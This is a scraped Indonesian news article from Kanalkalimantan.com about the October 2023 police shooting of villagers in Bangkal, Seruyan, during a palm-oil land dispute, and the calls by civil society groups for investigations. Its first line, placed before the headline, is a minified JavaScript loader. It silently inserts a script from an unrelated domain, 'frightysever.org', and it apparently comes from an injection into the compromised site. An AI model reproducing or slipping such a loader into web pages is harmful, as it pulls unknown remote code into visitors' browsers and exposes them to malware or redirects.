(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Penembakan Warga di Seruyan, Kompolnas Didesak Lakukan Investigasi


KANALKALIMANTAN.COM, PALANGKARAYA – Warga Kalimantan Tengah (Kalteng) serukan sikap solidaritas atas aksi penembakan yang dilakukan aparat Polda Kalteng terhadap warga Bangkal, Seruyan, Kalteng di wilayah PT Hamparan Masawit Bangun Persada (HMBP) 1 pada Sabtu (7/10/20233).

Sejumlah organisasi masyarakat sipil dan segenap individidu menegaskan kemarahan dan mengutuk keras tindakan yang dianggap brutal oleh aparat Polda Kalteng tersebut.

Seperti yang terpantau melalui akun media sosial Wahana Lingkungan Hidup Indonesia (Walhi) Nasional, Senin (9/10/2023) siang.

Direktur Eksekutif  Walhi Kalteng Bayu Herinata mengungkapkan kronologi penembakan terjadi ketika warga melakukan aksi sejak 16 September 2023. Warga Desa Bangkal menuntut hak mereka agar perusahaan memberikan hak masyarakat berupa 20 persen perkebunan plasma.

Baca juga: Digitalisasi Pemko Banjarbaru Lewat Aplikasi “Idaman Office”

“Jika selama ini aksi dilakukan dengan menutup akses masuk estet di dua PT HMBP 1, maka saat itu rencananya warga bergeser ke area yang selama ini dituntut yaitu area di luar HGU,” jelas Bayu dalam pernyataan yang diterima Kanalkalimantan.com.

Namun, kata dia, tepat pada Sabtu 7 Oktober 2023, massa aksi yang sudah melaksanakan rencananya dan sudah bergeser ke luar area hingga pada mempersiapkan tenda dan saat itu juga mereka ditembaki oleh aparat.

Penembakan ini pun didahului dengan gas air mata yang ditembakkan pasukan Brimob kemudian disusul dengan tembakan peluru.

Sejumlah organisasi masyarakat sipil dan segenap individidu menyerukan sikap solidaritas atas aksi penembakan yang dilakukan aparat Polda Kalteng terhadap warga Bangkal, Seruyan Kalteng. Foto Walhi Kalteng

Baca juga: Konflik Lahan Sawit di Seruyan Tewaskan Warga, Panglima Jilah Desak Kapolri Bertindak Tegas

“Pukul 12.00 Wita siang seorang warga harus mati ditembak peluru tajam asli, dua orang lagi mengalami luka berat dan juga ada beberapa yang belum terdata,” sambung Bayu.

Sejak kematian salah satu warga Bangkal Seruyan itu pula, masyarakat dari berbagai daerah beramai-ramai menuntut keadilan dan meminta untuk menghentikan tindakan refresif aparat.

Mereka di antaranya terdiri dari Aliansi Gerakan Reforma Agraria, Pemuda Baru Indonesia, Perempuan Tani, Serikat Tani, ASLI Mandalika Lombok Tengah, hingga Aliansi Pembela HAM Sumatera Barat.

Masyarakat menilai kepolisian hanya terlihat aktif dalam mengamankan investasi, bukan menjadi pelindung dan pengayom bagi warga yang berhadapan dengan bisnis.

Baca juga: Hari Pos Sedunia 9 Oktober, Kantor Pos di Era Digital

“Tindakan brutalitas kepolisian ini sudah dipastikan merupakan pelanggaran HAM berat terhadap warga Bangkal, hingga kami meminta Komnas HAM dan Kompolnas untuk segera melakukan penyelidikan dan investigasi,” tegas Muhammad Jalali dari Aliansi Pembela HAM Sumatera Barat.

Sejumlah organisasi masyarakat sipil dan segenap individidu menyerukan sikap solidaritas atas aksi penembakan yang dilakukan aparat Polda Kalteng terhadap warga Bangkal, Seruyan Kalteng. Foto Walhi Kalteng

Mereka mendesak Kapolri agar segera menindak tegas, baik secara pidana dan etik semua anggota kepolisian yang terlibat.

Tak hanya itu, mereka juga meminta Kapolri agar mencopot Kapolda Kalteng dan Kapolres Seruyan, serta meminta agar Presiden dan Kapolri segera melakukan reformasi kepolisian.

Baca juga: Dua Terdakwa Korupsi Pembebasan Lahan Bendungan Tapin Dengarkan Putusan

Sementara itu Badan Eksekutif Mahasiswa (BEM) Se Kalimantan Selatan, melalui Koordinator Wilayah Kalsel Ahmad Sunir Ridha turut menyatakan sikap atas kasus tersebut.

Mereka menilai tindakan yang dilakukan tersebut telah melucuti hak hak warga, tidak sesuai dengan norma berlaku dan melanggar undang-undang.

“Oleh karena itu mengutus keras perbuatan represilitas dan kami akan ikut terus mengawal kasus ini sampai ada kejelasan atas hukum hingga sampai ada pengadilan yang ikut terlibat di negara Indonesia khususnya di Kalteng,” tegas Sunir. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : kk


Risa

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

51 menit ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

3 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

3 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

4 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

17 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

17 jam ago

This website uses cookies.